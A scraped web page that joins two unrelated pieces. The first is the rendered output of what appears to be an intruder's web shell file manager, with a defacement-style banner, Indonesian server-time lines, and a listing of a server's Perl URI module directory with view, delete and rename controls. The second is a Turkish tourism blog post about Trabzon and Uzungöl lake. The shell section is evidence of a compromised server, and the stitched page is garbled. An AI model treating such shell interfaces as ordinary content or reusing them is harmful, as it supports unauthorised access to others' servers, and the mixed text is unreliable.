Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-04 01:36:41
curdir: / / usr / share / perl5 / URI / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2025-12-03 11:13:28 0755
.. 4096 2026-01-04 11:48:11 0755
Escape.pm 7061 2018-01-09 09:42:55 0644
Heuristic.pm 6524 2018-01-09 09:42:55 0644
IRI.pm 820 2018-01-09 09:42:55 0644
QueryParam.pm 4887 2018-01-09 09:42:55 0644
Split.pm 2379 2018-01-09 09:42:55 0644
URL.pm 5487 2018-01-09 09:42:55 0644
WithBase.pm 3857 2018-01-09 09:42:55 0644
_foreign.pm 133 2018-01-09 09:42:55 0644
_generic.pm 5848 2018-01-09 09:42:55 0644
_idna.pm 2105 2018-01-09 09:42:55 0644
_ldap.pm 3275 2018-01-09 09:42:55 0644
_login.pm 257 2018-01-09 09:42:55 0644
_punycode.pm 5648 2018-01-09 09:42:55 0644
_query.pm 2557 2018-01-09 09:42:55 0644
_segment.pm 442 2018-01-09 09:42:55 0644
_server.pm 3750 2018-01-09 09:42:55 0644
_userpass.pm 1060 2018-01-09 09:42:55 0644
data.pm 3417 2018-01-09 09:42:55 0644
file 4096 2025-12-03 11:13:28 0755
file.pm 9761 2018-01-09 09:42:55 0644
ftp.pm 1082 2018-01-09 09:42:55 0644
gopher.pm 2454 2018-01-09 09:42:55 0644
http.pm 451 2018-01-09 09:42:55 0644
https.pm 170 2018-01-09 09:42:55 0644
ldap.pm 2950 2018-01-09 09:42:55 0644
ldapi.pm 467 2018-01-09 09:42:55 0644
ldaps.pm 170 2018-01-09 09:42:55 0644
mailto.pm 1302 2018-01-09 09:42:55 0644
mms.pm 151 2018-01-09 09:42:55 0644
news.pm 1480 2018-01-09 09:42:55 0644
nntp.pm 153 2018-01-09 09:42:55 0644
pop.pm 1233 2018-01-09 09:42:55 0644
rlogin.pm 155 2018-01-09 09:42:55 0644
rsync.pm 233 2018-01-09 09:42:55 0644
rtsp.pm 151 2018-01-09 09:42:55 0644
rtspu.pm 152 2018-01-09 09:42:55 0644
sftp.pm 124 2018-01-09 09:42:55 0644
sip.pm 1735 2018-01-09 09:42:55 0644
sips.pm 169 2018-01-09 09:42:55 0644
snews.pm 198 2018-01-09 09:42:55 0644
ssh.pm 201 2018-01-09 09:42:55 0644
telnet.pm 154 2018-01-09 09:42:55 0644
tn3270.pm 154 2018-01-09 09:42:55 0644
urn 4096 2025-12-03 11:13:28 0755
urn.pm 2201 2018-01-09 09:42:55 0644
Karem - You will visit Trabzon after this article

You will visit Trabzon after this article

  • Home
  • Blogs
  • You will visit Trabzon after this article
Blog Details

You will visit Trabzon after this article

When we talk about picturesque nature, clean air, beautiful forests, green spaces, and clear springs, know that the talk is focused on the charming city of Trabzon, with its wonderful sea views of the Black Sea.

The city of Trabzon, which is called the Pearl of the Black Sea, is one of the most beautiful parts of Turkey. It is close to the Georgian border from the northeastern side of Turkey, and near it is the city of Rize, which exports tea to various parts of the world.

 

Trabzon is approximately 1069 km from Istanbul, 39 meters above sea level, where the port of Trabzon is located on the Black Sea. The city’s population is approximately 757,000, according to 2019 statistics, and its area is approximately 4,000 km. Tourism in Trabzon is the backbone of the city’s economy, as it receives thousands of Arab tourists annually.

Trabzon has a warm climate in summer, and humid and cold in winter, and there is usually a lot of rain and snow in the region.

 

Uzungöl Trabzon - the most important tourist places in Trabzon

Uzungöl Trabzon is one of the most popular tourist destinations, how not? It is the lake that has a special luster, and a distinctive charm, which tops the beauty and splendor of all those around it from the other lakes, as it is located at a distance of approximately 96 km from the city center, and on its sides are the mountainous heights covered with a wonderful green carpet, and you can imagine the amount of beauty represented when you travel In Uzungol, and seeing the view of this lake in the winter, especially, when the fog covers the mountains and the heights around it.